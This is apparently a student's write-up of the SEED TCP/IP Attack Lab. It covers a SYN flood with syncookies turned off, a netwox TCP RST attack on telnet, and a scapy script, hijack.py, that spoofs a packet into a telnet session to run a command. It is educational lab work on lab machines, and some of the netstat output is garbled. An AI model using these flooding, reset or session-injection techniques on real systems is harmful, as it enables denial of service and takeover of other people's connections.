SEED LAB4

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TCP/IP Attack Lab

Task1: SYN Flooding Attack

• Turn off the SYN cookie mechanism

```
[09/12/20]seed@VM:~$ sudo sysctl -a | grep cookie net.ipv4.tcp_syncookies = 1 sysctl: reading key "net.ipv6.conf.all.stable_secret" sysctl: reading key "net.ipv6.conf.default.stable_secret" sysctl: reading key "net.ipv6.conf.ens33.stable_secret" sysctl: reading key "net.ipv6.conf.lo.stable_secret" [09/12/20]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0 net.ipv4.tcp_syncookies = 0 [09/12/20]seed@VM:~$ sudo sysctl -a | grep cookie net.ipv4.tcp_syncookies = 0
```

• Launch the SYN flooding attack and compare the result before and after the attack using netstat -na

```
[09/12/20]seed@VM:~/Desktop$ diff a.txt b.txt
7d6
<tcp 0 0127.0.0.1:631 0.0.0.0:* LISTEN
15d13
<tcp6 0 0192.168.210.133:80 240.125.112.152:10164 SYN_RECV
>tcp6 0 0192.168.210.133:80 240.125.112.152:10164 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.103.214:47933 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.103.23078 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.103.23078 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.108.23078 SYN_RECV
>tcp6 0 0192.168.210.133:80 240.120.1230783 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.108.230783 SYN_RECV
>tcp6 0 0192.168.210.133:80 250.110.108.230783 SYN_RECV
>tcp6 0 0192.168.210.133:80 240.120.133:80 SYN_RECV
>tcp6 0 0192.168.210.133:80 240.120.133:80 SYN_RECV
>tcp6 0 0192.168.210.133:80 SYN_RE
```

The victim's queue is flooded with lots of half-opened TCP

connections.

Task2: TCP RST Attacks on telnet and ssh Connections

• Attack on telnet connection

```
[09/12/20]seed@VM:~$ sudo netwox 78
```

```
[09/12/20]seed@VM:~$ telnet 192.168.210.133
Trying 192.168.210.133...
Connected to 192.168.210.133.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
 * Documentation: https://help.ubuntu.com
                  https://landscape.canonical.com
 * Management:
* Support:
                  https://ubuntu.com/advantage
1 package can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
[09/12/20]seed@VM:~$ ]Connection closed by foreign host.
```

Task4: TCP Session Hijacking

• View the seq and ack

```
15:07:07.527722 IP b271066537f4.telnet > 172.17.0.4.60644: Flags [P.], seq 8:107, ack 5, win 509, options [nop,nop,T S val 3279605002 ecr 2008292957], length 99
15:07:07.527797 IP 172.17.0.4.60644 > b271066537f4.telnet: Flags [.], ack 107, win 501, options [nop,nop,TS val 2008 292959 ecr 3279605002], length 0
15:07:07.527953 IP b271066537f4.telnet > 172.17.0.4.60644: Flags [P.], seq 107:153, ack 5, win 509, options [nop,nop,TS val 3279605002 ecr 2008292959], length 46
15:07:07.528022 IP 172.17.0.4.60644 > b271066537f4.telnet: Flags [.], ack 153, win 501, options [nop,nop,TS val 2008 292959 ecr 3279605002], length 0
```

port of host C is 60644, next seq of host B is 153, next seq of host

• Construct file hijack.py and run the program

```
#! /usr/bin/python3
from scapy.all import *

ip = IP(src="172.17.0.4", dst="172.17.0.3")
tcp = TCP(sport=60644, dport=23, flags="PA", seq=5, ack=153)
payload = "touch hijack"

pkt = ip/tcp/payload
ls(pkt)
send(pkt, verbose=0)|

jt_ubuntu@jt-ubuntu:~$ ls
examples.desktop hijack
```